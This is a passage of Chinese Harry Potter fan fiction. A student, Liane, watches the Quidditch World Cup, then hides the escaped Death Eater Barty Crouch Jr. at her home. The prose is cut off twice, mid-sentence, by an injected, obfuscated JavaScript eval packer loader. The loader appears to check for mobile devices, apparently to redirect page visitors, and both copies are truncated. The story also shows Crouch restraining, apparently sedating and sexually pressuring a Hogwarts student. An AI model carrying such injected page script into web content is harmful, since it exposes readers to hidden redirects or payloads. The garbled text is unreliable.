巴格曼抽出他的魔杖,指着自己的喉咙用了洪声咒,然后他说的话就像雷鸣一样,响彻了整个座无虚席的体育馆,他的声音在他们头顶上回荡,响亮的传向看台的每个角落。 “女士们,先生们…欢迎你们的到来!欢迎你们前来观看第422届魁地奇世界杯决赛!” 观众们爆发出一阵欢呼和掌声,几千面旗帜同时挥舞,还伴随着乱七八糟的国歌声,他们对面的记分板上现在显示的是:保加利亚:0,爱尔兰:0。 欣赏两国吉祥物表演时,包厢里丑态百出,保加利亚队的媚娃对男巫的影响力是巨大的,莉安注意到,比尔已经堵住了耳朵,视线也转向了她。 “怕我生气吗?”她露出一副惯常的冷淡表情。 “不知道,女人吃醋是不分地点的。”比尔堵着耳朵也辨认出了她的口型,他环顾四周,见大家都在专注的看表演,凑近了她,两人悄悄接了一个吻。 “现在,”巴格曼的声音如洪钟一般响起,“欢迎爱尔兰国家队的吉祥物!” 媚娃已经退场了,紧接着,只听嗖的一声,一个巨大的、绿色和金色相间的光球飞进了体育馆,它在馆内飞了一圈,然后分成两部分,分别冲向一组球门柱,整个赛场上突然出现了一道拱形的彩虹,把那两个闪光的大球连接了起来,人群中爆发出“哎呀哎呀”的惊叹声,就好像在观看烟花表演。 这时,彩虹隐去了,闪光的大球互相连接、交融,形成了一棵巨大的、闪亮夺目的三叶草,高高的升向空中,开始在看台上方盘旋,金币噼里啪啦的从上面落了下来,像金色的雨点落在他们的头上和座位上,原来三叶草是由无数个穿着红马甲、留着小胡子的小矮妖组成的,它们都提着一盏金色或绿色的小灯。 人们一边喝彩,一边还在乱哄哄的争抢,或钻到座位下面去捡金币。 “它们的金币会消失,”比尔说,“看看,罗恩激动坏了,他不知道这件事。” 比赛开始后,莉安把全景望远镜紧紧的按在眼睛上,盯着爱尔兰队的追球手,她拧了拧全景望远镜右侧的慢速旋钮,再按一下顶部的赛况分析键,立刻就看到了慢动作,镜头上还闪过一些紫色的文字,同时全场观众的喧闹声震击着她的耳膜。 “鹰头进攻阵形。”她读到这样的文字,同时看见三位爱尔兰追球手紧挨在一起飞驰,一个在中间,两个稍微靠前,三个人一起向保加利亚队员逼近。 接着,镜头上又闪出“波斯科夫战术”的字样,只见一个爱尔兰队的球员带着鬼飞球假装往上冲去,引开保加利亚追球手,再把球扔给另一个队员,保加利亚的击球手用手里的短棒狠击飞来的游走球,但爱尔兰球员躲开了游走球,扔出鬼飞球,在下面盘旋的队员一把将球接住—— “爱尔兰队进球!”巴格曼的大嗓门吼道,全场一片欢呼喝彩,震得体育馆都在颤动,“现在是10:0,爱尔兰队领先!” 莉安身为追球手,对魁地奇比赛很了解,她看出爱尔兰队的追球手是超一流的,他们配合得天衣无缝,动作十分协调,好像彼此都能看透对方的心思,十分钟内,爱尔兰队又进了两个球,将比分改写成30:0,引起穿绿衣服的支持者们排山倒海般的欢呼和喝彩。 “莉安,快看,是朗斯基假动作——”比尔指着在追球手中间快速下落的保加利亚找球手威克多尔·克鲁姆说。 莉安连忙把全景望远镜转向高速坠落的两个找球手,正在这时,她感觉有只手仿佛是从后面伸了过来,摸了摸自己的腰,还轻轻的捏了两把。 “你干嘛——”她放下望远镜,矜持的瞥了比尔一眼。 但比尔两只手都扶着望远镜,跟着人群哀叹爱尔兰队的找球手被这个假动作骗了,“砰”的一声摔在了地面上。 “傻瓜,”比尔叹了口气,转过头来看她,“你刚刚说什么?” 莉安疑惑的朝后面望了望,老巴蒂·克劳奇仍然没有出现,她后面的座位是空的,那个恐高的小精灵依然捂着眼睛——她的手很短,不可能摸到自己。 后半场比赛,莉安总是觉得时不时有只手摸摸她的腰,又拉拉她的头发,但等她回头望去,又发现所有人都在看比赛,根本不可能有人碰到她。 后来,她只能紧紧的贴着比尔,但直到比赛结束,她都没有摆脱那只骚扰她的手。 见鬼了!她怀疑包厢里有鬼,或者自己产生了严重的幻觉! 此时记分板上闪动着比分,保加利亚:160,爱尔兰:170,然后,就像一架巨型喷气式飞机正在加速,爱尔兰队支持者们的议论声越来越响,最后爆发出无数喜悦的狂喊。 “爱尔兰队获胜了!”巴格曼喊道,似乎被比赛的突然结束弄得有些茫然,“克鲁姆抓到了金色飞贼,可是爱尔兰队获胜了,天哪,我想大家谁也没有料到会是这样的结局!” “他为什么要这时候去抓金色飞贼呢?”罗恩尽管高举着双手,跳上跳下的欢呼,仍然不解的大声嚷嚷,“他在爱尔兰队领先一百六十分的时候结束比赛,真是太傻了!” “他知道他们永远也不可能追上来!”哈利也在大声欢呼,他盖过其他声音喊道,“爱尔兰队的追球手太棒了…克鲁姆只想根据自己的情况结束比赛,就是这样…” 大家慢慢走下铺着紫红色地毯的楼梯,很快,离开体育馆返回营地的潮水般的人群就把他们包围了,当他们顺着被灯笼照亮的通道往回走时,夜空里传来粗声粗气的歌声,小矮妖们不停的在他们头顶上穿梭飞驰,挥舞着手里的灯笼,嘎嘎欢笑。 最后,终于到了韦斯莱的帐篷边,莉安和韦斯莱一家告别,准备明天一早就回家,她回到了普威特家的帐篷,和送自己的比尔温存了一会儿,这才换上睡衣,准备睡一觉。 这时,她仍能听见营地另一边传来的歌声和奇怪的撞击声,在夜空里久久回响。 不知过了多久,大概是半夜的时候,隐隐约约的,莉安觉得事情有点不对劲儿,她突然被叫醒了,营地里的声音变了,歌声也停止了,她听见了惊叫声和人们慌乱奔跑的声音。 她立刻换上那条绿色的裙子,急急忙忙奔出帐篷,被眼前的画面惊呆了。 就着仍在燃烧的几堆火的火光,莉安看见人们纷纷朝树林里跑去,好像在逃避某个在营地上向他们移动的东西,那东西古怪的闪着光,还发出像打枪一般的声音,响亮的讥笑声、狂笑声、醉醺醺的叫嚷声,正在向她移动过来,一道绿色的强光一闪,照亮了周围的一切。 一群巫师紧紧挤作一团,每个人都把手里的魔杖向上指着,一起向前推进,慢慢的在场地上移动,他们穿着兜帽长袍,脸上戴着面具。 在他们头顶上方,四个挣扎着的人影在空中飘浮,被扭曲成各种怪异的形状,就好像地面上这些蒙面巫师是操纵木偶的人,而他们上方的那几个人是牵线木偶,被从魔杖里冒向空中的无形的绳子控制着——是场地管理员一家。 这些人是逍遥法外的食死徒! 更多的巫师加入到前进的队伍中,大声笑着,指着上面飘浮的几具躯体,随着游行队伍的不断壮大,帐篷被挤塌了,一个游行的食死徒用魔杖把路边的帐篷点着了,几个帐篷都烧了起来。 “莉安!”比尔匆匆忙忙跑到她面前,他穿戴整齐,袖子高高卷起,魔杖拿在手里,他拽住她的手臂,焦急的说,“我要帮爸爸和部里的人维持秩序,你快去森林里躲一躲。” “我帮你!”莉安的声音盖过了喧闹声,也卷起了自己的袖子。 “不,你快进林子里去,等事情解决后我再去找你!” 莉安拗不过他,只好答应,比尔吻了吻她的面颊,朝迎面过来的游行队伍奔去了,魔法部的官员从四面八方奔向出事地点,包括隔壁的老巴蒂·克劳奇,他也急匆匆的赶了过去。 莉安钻进了树林里,原先照亮通往体育馆的彩灯现在已经熄灭了,树林里有一些黑乎乎的人影跌跌撞撞的走着,小孩子在哭闹,紧张、焦虑的叫喊声和说话声在她周围寒冷的夜空中回荡。 突然,旁边传来一阵沙沙声,她立刻握紧了魔杖,只见家养小精灵闪闪奋力从灌木丛中钻了出来,她的动作就像中午时那样古怪,费劲的拉扯着什么。 “到处都是坏巫师!”她一边探着身子拼命要往前跑,一边慌慌张张的尖叫道,“人在高高的上面!闪闪要逃走!” 她就像跟一个看不见的人搏斗似的,钻进了小路另一边的树丛里。 莉安皱了皱眉,继续往树林深处走,跟闪闪的方向差不多,没一会儿,一个声音突然划破了寂静,他发出的不是紧张的喊叫,而像是一句咒语。 “Morsmordre! ” 接着,天空中突然冒出一个巨大的绿光闪闪的东西,它一下子跃上树梢,飞到了空中。 莉安面色凝重的盯着它,那是一个硕大无比的骷髅,由无数碧绿色的星星般的东西组成,一条大蟒蛇从骷髅的嘴巴里冒出来,像是一根舌头,骷髅越升越高,在一团绿莹莹的烟雾中发出耀眼的光,在漆黑的夜空衬托下,就像一个新的星座。 突然,周围的树林里爆发出阵阵尖叫声,所有人都在恐惧——这是食死徒的标记——召唤黑魔头的咒语,它现在已经升得很高,像一个恐怖的霓虹灯招牌一样,照亮了整个树林。 莉安往前快跑几步,她觉得这个声音很耳熟,她在黑暗中试图寻找那个变出尸骨再现的人,可是她一个人影也没看见。 突然,一连串幻影显形的爆裂声,二十个巫师从天而降,把隔壁那条小路团团围住了。 “Stupefy! ”二十个声音同时吼出昏迷咒,接着便是一连串耀眼的闪光,如同一阵强劲的风吹过空地,一道道烧灼般的红光互相交错,撞在树干上,又被弹到了黑暗中——什么东西被击中了,她听到了那声闷哼! 莉安立刻钻进旁边那条小路的灌木丛中,只见家养小精灵闪闪躺在地上,昏迷不醒,她手里还握着一根魔杖。 不对,不是闪闪,那个声音是个让她感觉非常熟悉的声音…是个男人的声音… 莉安想到今晚一直感觉有只手在摸自己,再联想一下闪闪古怪的举动,她咬紧了嘴唇,跪在地上不停摸索,朝着闪闪的方向前行。 她不能被那些傲罗发现,这可是犯罪现场。 突然,在闪闪附近,她摸到了一个非常光滑冰凉的东西,像是什么动物的毛织成的布料,她立刻反应过来,是隐形衣!果然今晚那奇怪的触感不是她的幻觉,紧接着,她又摸到了一双腿… 莉安强迫自己镇定下来,一直往上摸,直到感觉手下触碰到了高挺的鼻梁,这才颤抖着掀开了隐形衣。 小巴蒂·克劳奇!她永远也忘不了这个恶劣的男人! “这是你们谁干的?你们谁变出了黑魔标记?” 莉安听到了魔法部官员的声音,知道他们马上就要来搜查了,毕竟这附近不止她一个人,于是她纠结了不到一秒钟,把魔杖叼在嘴里,用隐形衣盖好克劳奇,接着往他身上一扑,抱着他随从显形落在了自己的帐篷里。 她瘫在地板上,心脏砰砰直跳,她也不知道自己为什么要把这个据说早已死去的食死徒带回来,她重重的喘着气,直到留守帐篷的赫洛把她扶了起来。 “我们必须马上离开这里,”莉安深深的吸了口气,对着赫洛交代,“我幻影移形,你在这里等着表哥,告诉他我有点害怕,先回祖宅了,等他知道我的消息,你再立刻赶回来,不要告诉任何人今晚的事,明白吗?” 赫洛已经看到地上突兀的躺着一双脚,猜测可能是隐形衣遮住了其他部位,但她无法反抗主人的命令,只好耷拉着脑袋,不情不愿的说,“知道了小主人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“聪明,小家伙,你抓到我了,我是你的了,不过你聪明的脑袋瓜还是想错了,”小巴蒂兴致勃勃的说,用自己的脸在她掌心里摩挲着,“我才不在乎老巴蒂,你也不会送我去死的。” “给我个理由啊,求你了,”莉安很不适应他的亲昵,触电般抖了抖,马上收回了手,她举起魔杖,在他脸上戳了个酒窝,威胁道,“别以为我不会下手,但摄魂怪们可是很想你啊…” 看着小巴蒂脸上残存的一点儿血色现在也没有了,显然是记起了阿兹卡班恐惧的回忆,莉安心情很好的感叹道,“好像有丝恐惧的味道,噢…也对,摄魂怪的吻,滋味真是不可想象,都说那场面不堪入目——” 她拖长了声调,果然满意的看到了他竭力想保持平静的表情,微笑着说,“但我想我会尽量看完。” 小巴蒂的脸色突然阴沉了一瞬,但片刻之后,他又变得有些神经质,眼里的光芒变得疯癫起来。 “好女孩儿…叔叔饿了,在把我交给阿兹卡班之前,好歹也让我做个饱死鬼吧…” 莉安不再吓唬他了,起身把魔杖插回口袋,去厨房找了几块冷吃的猪肉派来。 “你不给我解开,我怎么吃?”小巴蒂轻声呢喃着,目光灼灼,“要不,你喂我?” 莉安冷冷的瞪了他一眼,拿起一块派放到他嘴边。 小巴蒂转头咬她手里的食物时,突然看到了床头上贴着自己的入狱照,他的表情一瞬间有些怔怔。 “你就这么恨我吗?”他突然有些失落,望着她喃喃的说,“但是我没有对你做什么。” “我知道你没对我做什么,”莉安扯了扯嘴角,露出一抹不自在的苦笑,“如果你杀了我,我也反抗不了,其实我有个问题一直想问你,我还以为没机会了…” “问吧。”小巴蒂咬掉了她手上那块派,含混不清的说。 “为什么不杀了我?”莉安低声问,“你知道我是普威特,而每个普威特的归宿都是傲罗。” “你还是个孩子呢,”小巴蒂的语气有些漫不经心,还在咀嚼美味的猪肉派,“何况,给我当了一夜抱枕,我对你是有点儿感情的。” 莉安:有点儿,但不多,狗东西还想骗我! “就当是你的恻隐之心吧,”莉安又继续喂他吃东西,但内心十分纠结,最后,她终于下定了决心,重重的叹了口气,这才说道,“等你恢复了,就离开这里吧,你放我一条生路,我们普威特不喜欢欠人情,所以这次我放你离开,但是下次…下次不要让我再看到你——” “你赶我走?”小巴蒂露出一个诧异的表情。 “你不想要自由?”莉安震惊的目光投向他。 小巴蒂扬起嘴角,口中吐出了一串无耻到理直气壮的话,“我没有魔杖,出去就会被人发现是越狱的囚犯,然后摄魂怪立刻就会赶来给我一个吻,你说这是放我一条生路?我看你是恩将仇报。” 莉安被他的颠倒黑白噎住了,好半晌才重重的打了他的胸口,“那你想怎样?跟我讨价还价吗?今晚在我身后动手动脚的人是不是你?” “不不不…宝贝,”小巴蒂挑高了一边眉毛,恶劣的冲她笑了笑,说道,“救命之恩,无以为报,我决定以身相许。” “你这个不要脸的老男人!” “我老?”小巴蒂的脸黑了,目光变得狠戾,但他很快又恢复了镇定。 “当初我放过你,你也得对我以身相许,”他肆无忌惮的笑了笑,慢条斯理的说,“所以长夜漫漫,我们应该彼此以身相许。” 莉安猛地站了起来,“你给我出去!” “我不,除非你先放开我。” 莉安瞪着他,魔杖一点,解除了禁锢咒,然后转向一边,不再看他,“你走吧,我再也不想见到你。” 小巴蒂活动了一下身体,重获自由的感觉让他心里一阵飘飘然,多年未有过的活力充斥了他的身体,他眯着眼睛,伸展四肢,把手指骨节握得喀嚓作响,慢慢的,他的眼神落在面前高挑美丽的少女身上,不怀好意的打量着她,神经质的舔了舔嘴唇。 “你是不是成年了?” “与你无关。”莉安被他看得浑身发毛,感觉像被一只极度危险的、饥饿的野兽盯上了,她有些后悔放了这个家伙,但事到如今也没有什么好办法,反正他也没有魔杖,于是转身想走,却被一股大力拉了回去。 “今天你跟那个红毛很亲密,要不是他叫了你的名字,我都快忘了你这个小鬼已经长这么大了,也变得越来越可爱了,”小巴蒂把她压在床上,极快的抽走了她的魔杖,“其实我真的累了,那天晚上是我难得放松的时候,我希望你能同情我,可怜我,再做一次抱枕。” “放开!克劳奇!” “不要,”小巴蒂搂着她滚到了床里面,四肢缠住她的手脚,把她禁锢在怀里,语气又变得温柔了,在她耳边轻声的说,“休息一会儿吧宝贝,今晚那些人在营地里折腾,恐怕你也没睡好吧?” 莉安闻到了一股奇异的气味,有点像苦艾酒,她嗅了嗅,觉得有些催眠,但她很快就反应过来,继续挣扎。 “没用的,我说睡就睡。” 小巴蒂维持这个姿势将近半个小时,就像十三年前那样,对她的尖叫怒骂充耳不闻,直到把她的体力消耗干净,这才拉过被子,把他们笼罩在一起。 小巴蒂知道自己是有点东西在身上的,比如他天生就能让别人的魔杖在自己手里服服帖帖,这次也不例外,他拿起莉安的魔杖一点,房门锁上了,这才满意的松了口气。 他可还记得这房子里有个家养小精灵呢! 莉安被他这种熬鹰一样的行为磨得无可奈何,在陷入睡眠之前,她气呼呼的瞪着他,用尽最后一点力气恨恨的咬了他一口,听到他发疯似的大笑,简直就像个神经病,这才趴在他胸口上不动了。 她确定他不会杀自己的,十三年前不会,当然现在也不会。 十三年前那个突如其来的夜晚,跟现在也并没有什么区别。 5. 祖宅 莉安醒来时,只觉得还有些头重脚轻,她试图侧身撑起自己的额头,却觉得身下软软的,简直就像陷在了一个垫子里。 等她意识回笼时,才发现自己还趴在小巴蒂身上,他正环绕着自己的腰,两只手紧紧的扣在一起。 莉安伸手拨了拨他金色的长睫毛,它们在他脸上投下了一片阴影,睡颜看起来安静极了,但她知道,等他睁开眼睛的时候,又会变得像个神经病一样。 她的手慢慢下移,来到他的脸颊上,这是一张非常英俊的面孔,但和比尔不是一种类型的英俊,比尔非常阳光,但小巴蒂的眉宇之间总有股说不清道不明的漫不经心,仿佛他作恶只是因为好玩,就像他闯进她的家里,把她当成一个布娃娃那样随心所欲的摆弄,根本不在乎傲罗和罪犯的立场完全相悖,也不在意普威特家族跟食死徒之间的血海深仇。 这时,小巴蒂突然睁开眼睛,以迅雷不及掩耳之势咬住了她的手指。 “松开!你是狗吗!” 听到她的尖叫,小巴蒂松了嘴,发出一阵肆无忌惮的大笑,他的手在莉安背上不停摩挲,语气贱贱的,充满了自信,“谁让你摸我,是不是被我迷住了?” “你是我见过最无耻的人,又老又丑!你以为你还是年轻的时候吗?”莉安嫌恶的看了他一眼,拼命的甩了甩手,又把那些口水擦在他身上。 小巴蒂又听到她说自己老,那个冰冷嫌恶的眼神就像一把刀戳进了他的心脏,并且她还在用力的转动刀柄,试图把他的心脏搅碎。 他并没有生气,而是耐心的说话了,温柔的就像在安抚一个不懂事的孩子那样,“别这样说我,不然有朝一日你会后悔的。” 莉安并没有听出来这是他失去耐心之前的最后通牒,就算听出来了,也不会把他的警告当回事,她淡漠的挣脱了他的手臂,又捡起扔在地上的魔杖,指向他,“赶紧离开我的家,你这个无耻的罪犯。” “凭什么?”小巴蒂躺着也不老实,散漫的翘起了二郎腿,“这以后就是我的家,你把我带了回来,你有义务负责我的生活。” “回克劳奇家去。” “我不,”小巴蒂悠闲的解开了扣子,让自己的胸口暴露在她的视线中,“好人做到底,亲爱的孩子,叔叔喜欢跟你睡觉的滋味。” “哦?”莉安被他气笑了,语气淡淡的说,“可是我马上就要去霍格沃茨读书了,如果你留在这里,我的小精灵可不愿意陪你睡觉。” “听你的意思是,你的小精灵不愿意,但是你愿意喽?”小巴蒂敏锐的钻了她话里的漏洞,“没关系,叔叔会等你回来的,反正只有一年你就会毕业了。” 他的目光落在箱子里那本《标准咒语:七级》上,不在意的笑了笑,“我也没有魔杖,好宝贝,告诉我,你父亲的魔杖在哪里?” 莉安一次又一次被他刷新了无耻的下限,她甚至不明白他到底是怎么理直气壮的对她索要她父亲的魔杖的,他可是个食死徒啊!虽然围攻普威特兄弟的五个食死徒里并没有他。 小巴蒂见她发呆,翻身站了起来,不紧不慢的走到她身后,握住了她握着魔杖的那只手,头也放在了她肩上,在她耳边呼出一阵暧昧的热气,“你不告诉我,那我就自己去找,放心,我可不是什么丧心病狂的歹徒,不会把咱们的家翻乱的。” 他拉开门时,正好跟门口的赫洛对视了,一人一小精灵大眼瞪小眼。 “是你!坏巫师!”赫洛愤怒的尖叫道,虽然十三年前她被蒙面的小巴蒂击昏了,但自从小姐把他的入狱照贴在床头,她就知道了他是谁。 “去准备吃的,我和你主人都饿了。”小巴蒂绕开她,往其他房间走去。 赫洛不甘心的扑在莉安脚下,痛哭流涕的说,“小主人,你怎么把他带回来了!他当年差一点儿就把你杀了,如果你不在了,赫洛怎么办呢?我的家族世代为普威特家族服务…” “他不会杀我的,”莉安头痛了一瞬,赶紧转移话题,“表哥呢?表哥怎么说?昨晚的事情怎么解决的?” “噢,是这样的,”赫洛举起小手拍了拍脑门,思维立刻跟着她的小主人跑偏了,“据您的比尔表哥描述,那些坏巫师幻影移形跑掉了,而魔法部搜查了树林,发现了一个家养小精灵闪闪,是她用巫师的魔杖释放了那个很可怕的咒语,所以那个坏精灵已经被她的主人解雇了,真是耻辱啊耻辱…” “闪闪被解雇了?”莉安诧异的望着他,随后反应过来,一定是她带走了小巴蒂,现场只剩闪闪,老巴蒂·克劳奇为了遮掩这件事不得不解雇闪闪,毕竟看闪闪那些奇怪的举动,她早就明白了小巴蒂是假死脱身,实际上他一直都在他自己家里躲着。 “你认识闪闪吗?”莉安沉思了片刻,才说道,“我记得你们家养小精灵有自己的沟通渠道…” “认识,”赫洛嫌弃的撇了撇嘴,“她昨晚一直在哭,想回到原来的主人家里去,但对方不肯接纳她,然后她说她打算去找多比了——一个下贱的妖精,他觉得被释放是很高兴的事,不以为耻,反以为荣,我猜他们两个打算一起找工作。” “那你再去联系一下闪闪,带她来见我。”莉安坚决的说,她不能让这个知情的小精灵泄露一丝一毫小巴蒂的事,不然被有心人套出话来,魔法部就会知道小巴蒂已经越狱,然后出动阿兹卡班大部分摄魂怪来追捕他,而自己也可能折进去,她不能眼睁睁的看这件事发生。 “小姐!虽然我不能违背你的命令,但是我一定要说!”赫洛不甘心的尖叫道,“你已经有我了!难道这还不够吗?被解雇的都是坏妖精!闪闪她不配!” “噢,不是,我让你找她并不是为了让她照顾我,是想让她闭紧嘴巴,”莉安和她相依为命长大,对这个小精灵感情很深,于是好声好气的安抚道,“她会有主人的,但这个主人不会是我。” 赫洛听了她的保证,这才满意了,她嘟嘟囔囔的说,“我现在就去联系闪闪,早饭已经做好了,小姐现在可以下楼用餐…噢对了,对了…小姐,您的比尔表哥说他一会儿会来看您。” “一会儿?”莉安惊恐的问,她环顾四周,因为房间太多,她并不知道小巴蒂跑到哪里去了,但她很清楚他找不到父亲的魔杖,因为普威特兄弟下葬时,他们的魔杖也跟着一起,被他们带进了坟墓里。 “克劳奇!克劳奇!” 走廊最里面的门里传来一阵动静,小巴蒂探出头来,“怎么了亲爱的?” “父亲的魔杖不在这里,你找也没用,”莉安没好气的说,“死了这条心吧。” “哦,那没关系,晚上的时候我出去一趟,”小巴蒂点点头,慢悠悠的走过来,推着她一起下楼,“到时候我拿你的魔杖去奥利凡德那里搞一根。” “你休想!” “我看到了训练室,”小巴蒂不在意她的拒绝,继续说道,“你想成为傲罗,对抗黑巫师,但你怎么能不了解他们呢?你一定要知道黑魔法是怎么样的,你要见识它们,然后才能对抗它们。” “我可以帮你,毕竟谁会比我更懂黑魔法呢?除了我的主人,他比我强大的多,”小巴蒂在厨房的餐桌旁坐了下来,心情很好的说,“怎么样?我会教你如何对抗黑魔法,我猜你应该也知道,霍格沃茨的黑魔法防御术简直一塌糊涂,除了那些黑魔法生物的咒语,他们几乎不教其他的东西,就连普通的决斗白魔法,大概也只有弗利维教授能教导你一些吧,但是他很忙,只有我才有这个时间。” “你不去寻找你的主人了?”莉安不相信他会这么好心,嘲讽的看着他,“这可是你的罪名,为了找到黑魔头,你甚至把隆巴顿夫妇折磨疯了,你这个残忍的疯子!” “我只说一遍,听好了,”小巴蒂的脸色非常阴沉恐怖,语调没有起伏,“我没有折磨隆巴顿夫妇,不是我的罪名我不认,以后不要再在我面前提起这件事。” 莉安住了口,她觉得脸上有些发热,毕竟隆巴顿夫妇被折磨的头一天晚上,他就在自己家里烤火,又抱着她睡了一觉,并没有滥杀无辜,或许有一丝渺茫的可能,他的确在寻找他的主人,但并没有对隆巴顿夫妇使用那么残忍的咒语… “赶紧吃饭,一会儿有人要来,”她不自在的清了清嗓子,“一会儿你找个房间躲起来,不要让他看到你。” “是那个红毛吗?”小巴蒂的动作一顿,半根香肠滑稽的掉进了盘子里。 “他是我的表哥,什么红毛!”莉安恶狠狠的瞪了他一眼。 “表哥?”小巴蒂咀嚼着这个单词。 “他母亲是我的姑妈,我父亲的妹妹。”莉安没有多说,埋头吃饭。 “克劳奇家可从未近亲结婚过,纯血圣族真让我惊讶,”小巴蒂挑挑眉毛,语气不屑,“别以为我没看到你跟红毛接吻。” “克劳奇!” 小巴蒂冷哼一声,端着盘子上楼了,把她撇在厨房里。 “你神经病啊!”莉安被他这莫名其妙的态度弄得呆了一会儿,突然气愤的喊道,“你的阿尼马格斯是不是奶牛猫?整天发神经!” “被你发现了。”小巴蒂冷冷的声音飘了下来,然后是重重的关门声,楼梯都被震得抖了抖,灰尘在空气中飘荡。 “呸!老男人!” 等比尔来普威特祖宅时,莉安还没有消气,一个人闷闷的坐在客厅里,赫洛不在家里,她已经去找闪闪了。 “你没事就好,”比尔上上下下的打量她,见她一切正常,这才松了口气,坐到她旁边,给自己倒了一杯南瓜汁,“怎么突然半夜回家了?” “我看到了那个黑魔标记,当时距离我很近,那些傲罗一出现立刻用了昏昏倒地,差点击中我,所以我幻影移形了。”莉安不自在的撒谎道。 “没错,有人偷了哈利的魔杖发射黑魔标记,虽然爸爸不相信是那个小精灵做的,但是克劳奇态度很坚决,所以他跟其他部里的官员也没办法,只能轻拿轻放了。” 比尔说着,把她拉进怀里,安慰的拍了拍她的后背,“我知道最近几年,霍格沃茨接二连三的出事,邓布利多认为是神秘人贼心不死,一年前金妮甚至差点死了,今年不知道又会出现什么事,我很担心…” “我知道这件事,”莉安闷闷不乐的说,“自从哈利入学,他和罗恩还有赫敏每年都会出现各种状况,但是我相信邓布利多,而且我马上就毕业了。” “放心,今年霍格沃茨会有一件大事会发生,但是爸爸说不能告诉你们,”比尔神神秘秘的卖了个官司,捧着她的脸亲了亲,“我觉得可能会跟你有关,毕竟你这么优秀。” “那到底是什么事?快点告诉我吧,”莉安放松下来,语气也不由自主的带着一丝娇嗔,“与我有关?” “这一切都说不准,但我认为你是最棒的,”比尔仍然不肯吐露信息,但他很乐意看到她对自己撒娇,“亲爱的,真的不和我去陋居吗?在那儿我能时时刻刻看到你,难道你不想见到我吗?” “我当然想,可是陋居人太多了,”莉安叹了口气,惆怅的说,“哈利他们三个要住到暑假结束,你和查理也回来了,房间没那么多,姑妈每天要准备那么多人的饭,我不忍心再去给她添乱,反正…” “反正你从埃及回来了,当然幻影显形来我这里也很方便,”她的脸开始泛红,遮遮掩掩的小声说,“这儿只有我自己,我觉得很方便…” 比尔就喜欢看她害羞的样子,这些年因为聚少离多,他们只有假期的时候才能见面,甚至有时候假期他也赶不回来,只能用猫头鹰交流,于是两人干柴烈火一样滚在沙发上拥吻。 莉安还保留了一丝清醒的意识,模模糊糊的想到小巴蒂还在楼上,于是伸手去推他,“别…” 但是比尔不知道表妹家里居然还藏着一个食死徒,他拒绝停下,解开了她的外袍。 莉安被他高超的吻和手下不停的动作弄得迷迷糊糊,直接把小巴蒂抛到了九霄云外,搂着比尔的脖子热烈的回应着他。 小巴蒂在楼梯的拐角静静的看着两个人交叠在一起,红毛压在她身上,两人吻得忘乎所以,就差现场给他表演活春宫了。 这女人昨晚还在他怀里,一边骂他是老男人,一边把他当软垫。 他投去阴沉沉的一瞥,没有发出一丝声音的上了楼梯。 比尔陪了她一下午,待到晚饭时才走,莉安本来想留他吃晚饭,但比尔拒绝了。 “如果我不回去,一会儿妈妈可能就会直接过来了,”他温柔的摸了摸她的头发,“明天我再来看你,直到你去霍格沃茨。” “那我们说好了。”莉安在他胸口上蹭了蹭,两双蓝眼睛对视,他们依依不舍的接了个吻,比尔才笑着幻影移形了。 莉安在门口待了好一会儿,才失落的往房子里走,她已经完全把小巴蒂给忘掉了,所以打开自己卧室的门时,被窗边那个黑色的高大身形吓了一跳。 “你在我房间里干嘛!”她的魔杖指向天花板的枝形吊灯,朦胧的柔光照亮了房间,也照清了那个身影。 “那我应该去哪里?”小巴蒂一步步凑近了她,他刚在窗户边看到了他们在门口接吻,“你们两个的嘴唇被黏在一起了,是吗?” “与你无关。”莉安看到他便气不打一处来,她哼了一声,对门口扬头示意他出去。 小巴蒂没有出去,而是躺到床上,新换的睡袍里露出一双有力的长腿和光滑的胸口,他双手放在脑后,语调懒洋洋的,“我饿了,去弄点吃的来。” “饿着吧,”莉安厌烦的说,“你搞清楚,这是我家,这是我的房间,我救了你,你该服务我才对,别这么无耻。” “你确定要我服务你?”小巴蒂的目光投在她脸上,又下移到她身上,最后在她胸口和脖颈处打转,意味不明的说,“你受得了吗?” “是你说教我对抗黑魔法的,你不愿意就出去吧,”莉安很讨厌他充满侵略感的视线,转过身说,“别得寸进尺,我收留你只是想学习决斗,我建议你看清自己的身份,你是什么你自己不清楚吗?好,那我让你认清自己,你是一个该死的食死徒,是一个越狱的重罪囚犯。” 她没发现小巴蒂听到这句话时,他气得双手紧握,脸色也阴沉的吓人,但是他的语气仍然十分温柔。 “我知道,我也知道你会做傲罗,你是英雄普威特的女儿,所有人都尊重你,对吗?放心,我也是如此,我会好好‘教导’你的。” “希望你不是假好心。”莉安冰冷的说。 这时,大门口一声震耳欲聋的巨响,赫洛的大嗓门从保护咒外面响了起来,“小主人!那个坏精灵来啦!她还不愿意呢,说想回去找原来的主人,我把她抓来了!” “带她上来。”莉安说。 她们出现的一瞬间,莉安搞不清门口这团扭打的小胳膊小腿是怎么回事,连小巴蒂都被吵得从床上坐了起来。 赫洛扭着闪闪的手臂,低低鞠了一躬,兴奋的说,“我把坏精灵抓到了,小主人。” 闪闪一边噼里啪啦的掉着眼泪,一边惊恐的尖叫着,“天呐,你要做什么?你这个坏家伙!我没得罪过你!啊!是我的巴蒂少爷!巴蒂少爷!原来你在这里!” 闪闪用了吃奶的力气挣脱出来,奋力扑到小巴蒂脚边,搂着他的腿号啕大哭,“巴蒂少爷!巴蒂少爷!你跟克劳奇先生求求情吧,让他不要解雇闪闪!” 小巴蒂愣了片刻,但闪闪的眼泪顺着面颊扑簌簌滚落下来,呜咽着继续哭诉道,“我可怜的克劳奇先生,他没有了我该怎么办呢?他需要我,他需要我的帮助!我从一生下来就照顾克劳奇先生一家,在我之前,是我妈妈,在她之前,是我外婆…哦,如果她们知道闪闪被释放了,会怎么说呢?哦,耻辱啊,真是耻辱!” 她放声大哭,小巴蒂的脸色变了变,但他很快就恢复了平静,沉声说,“起来,闪闪,我逃出来了,他当然不需要你了。” 闪闪顿了顿,嘴唇发抖,接着眼泪又从她那对棕色的大眼睛里滚出来,洒落在她胸前。 “让她别再哭了,”莉安揉了揉愈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 